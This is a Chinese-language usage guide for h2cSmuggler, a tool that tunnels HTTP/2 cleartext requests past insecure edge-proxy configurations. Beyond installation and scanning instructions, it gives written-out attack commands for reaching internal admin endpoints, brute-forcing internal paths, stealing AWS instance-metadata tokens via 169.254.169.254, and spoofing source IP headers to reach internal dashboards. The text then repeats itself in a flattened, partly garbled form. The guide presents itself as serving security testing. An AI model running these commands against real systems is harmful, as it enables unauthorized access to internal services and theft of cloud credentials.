h2csmuggler:一款隐蔽性极强的HTTP2明文通信工具
字数 1168 2025-08-15 21:32:22

HTTP/2明文通信工具h2cSmuggler使用指南

工具概述

h2cSmuggler是一款隐蔽性极强的HTTP/2明文(h2c)通信工具,能够利用h2c兼容的后端服务器建立HTTP/2明文通信,并隐藏HTTP流量以通过不安全的边缘服务器proxy_pass配置。

工作原理

该工具利用了以下关键机制:

  • 通过h2c(HTTP/2明文)协议与后端服务器通信
  • 利用不安全的proxy_pass配置绕过边缘服务器的安全限制
  • 通过HTTP/2多路复用特性提高通信效率

环境准备

依赖安装

唯一依赖是Python的hyper-h2库:

pip3 install h2

测试环境搭建

使用docker-compose模拟测试环境:

# 生成证书
./configs/generate-certificates.sh

# 启动服务
docker-compose up

测试环境包含:

  • 8000端口:HTTP h2c后端
  • 8001端口:HAProxy -> h2c后端(不安全默认配置)
  • 8002端口:nginx -> h2c后端(不安全自定义配置)
  • 8003端口:Nuster -> HAProxy -> h2c后端(多层代理不安全配置)

基本使用

扫描模式

扫描URL列表寻找受影响的proxy_pass终端节点:

./h2csmuggler.py --scan-list urls.txt --threads 5

将结果重定向到文件:

./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt

测试单个节点

./h2csmuggler.py -x https://www.example.com/api/ --test

高级利用

1. 绕过边缘服务器访问内部节点

./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' \
-H "Content-Type: application/json" -H "X-SYSTEM-USER: true" \
http://backend/api/internal/user/permissions

2. 使用HTTP/2多路复用爆破内部节点

./h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/

3. 利用Host Header SSRF获取AWS元数据令牌

./h2csmuggler.py -x https://edgeserver -X PUT \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
http://169.254.169.254/latest/api/token

使用获取的令牌:

./h2csmuggler.py -x https://edgeserver \
-H "x-aws-ec2-metadata-token: TOKEN" \
http://169.254.169.254/latest/meta-data/

4. IP地址欺骗访问内部仪表盘

./h2csmuggler.py -x https://edgeserver \
-H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" \
http://backend/system/dashboard

参数详解

参数 描述
--scan-list 指定要扫描的URL列表文件
--threads 设置扫描线程数
--upgrade-only 从输出Connection头中移除HTTP2-Settings
-x/--proxy 指定要绕过的代理服务器
-i/--wordlist 指定路径爆破字典
-X/--request 设置走私请求的HTTP方法
-d/--data 设置走私请求的数据
-H/--header 添加走私请求头
-m/--max-time 设置socket超时(秒,浮点数,默认10)
-t/--test 测试单个代理服务器
-v/--verbose 启用详细输出

注意事项

  1. h2c本应只在明文通信信道上执行,在HTTPS服务中检测可能会报真阳性
  2. HTTP服务可能产生假阳性结果
  3. 建议使用目录列表进行目录枚举
  4. 工具使用类curl语法处理请求

项目地址

GitHub仓库: h2cSmuggler

通过掌握这些技术细节和使用方法,安全研究人员可以有效地识别和利用不安全的h2c代理配置,进行安全测试和漏洞验证。

HTTP/2明文通信工具h2cSmuggler使用指南 工具概述 h2cSmuggler是一款隐蔽性极强的HTTP/2明文(h2c)通信工具,能够利用h2c兼容的后端服务器建立HTTP/2明文通信,并隐藏HTTP流量以通过不安全的边缘服务器proxy_ pass配置。 工作原理 该工具利用了以下关键机制: 通过h2c(HTTP/2明文)协议与后端服务器通信 利用不安全的proxy_ pass配置绕过边缘服务器的安全限制 通过HTTP/2多路复用特性提高通信效率 环境准备 依赖安装 唯一依赖是Python的hyper-h2库: 测试环境搭建 使用docker-compose模拟测试环境: 测试环境包含: 8000端口:HTTP h2c后端 8001端口:HAProxy -> h2c后端(不安全默认配置) 8002端口:nginx -> h2c后端(不安全自定义配置) 8003端口:Nuster -> HAProxy -> h2c后端(多层代理不安全配置) 基本使用 扫描模式 扫描URL列表寻找受影响的proxy_ pass终端节点: 将结果重定向到文件: 测试单个节点 高级利用 1. 绕过边缘服务器访问内部节点 2. 使用HTTP/2多路复用爆破内部节点 3. 利用Host Header SSRF获取AWS元数据令牌 使用获取的令牌: 4. IP地址欺骗访问内部仪表盘 参数详解 | 参数 | 描述 | |------|------| | --scan-list | 指定要扫描的URL列表文件 | | --threads | 设置扫描线程数 | | --upgrade-only | 从输出Connection头中移除HTTP2-Settings | | -x/--proxy | 指定要绕过的代理服务器 | | -i/--wordlist | 指定路径爆破字典 | | -X/--request | 设置走私请求的HTTP方法 | | -d/--data | 设置走私请求的数据 | | -H/--header | 添加走私请求头 | | -m/--max-time | 设置socket超时(秒,浮点数,默认10) | | -t/--test | 测试单个代理服务器 | | -v/--verbose | 启用详细输出 | 注意事项 h2c本应只在明文通信信道上执行,在HTTPS服务中检测可能会报真阳性 HTTP服务可能产生假阳性结果 建议使用目录列表进行目录枚举 工具使用类curl语法处理请求 项目地址 GitHub仓库: h2cSmuggler 通过掌握这些技术细节和使用方法,安全研究人员可以有效地识别和利用不安全的h2c代理配置,进行安全测试和漏洞验证。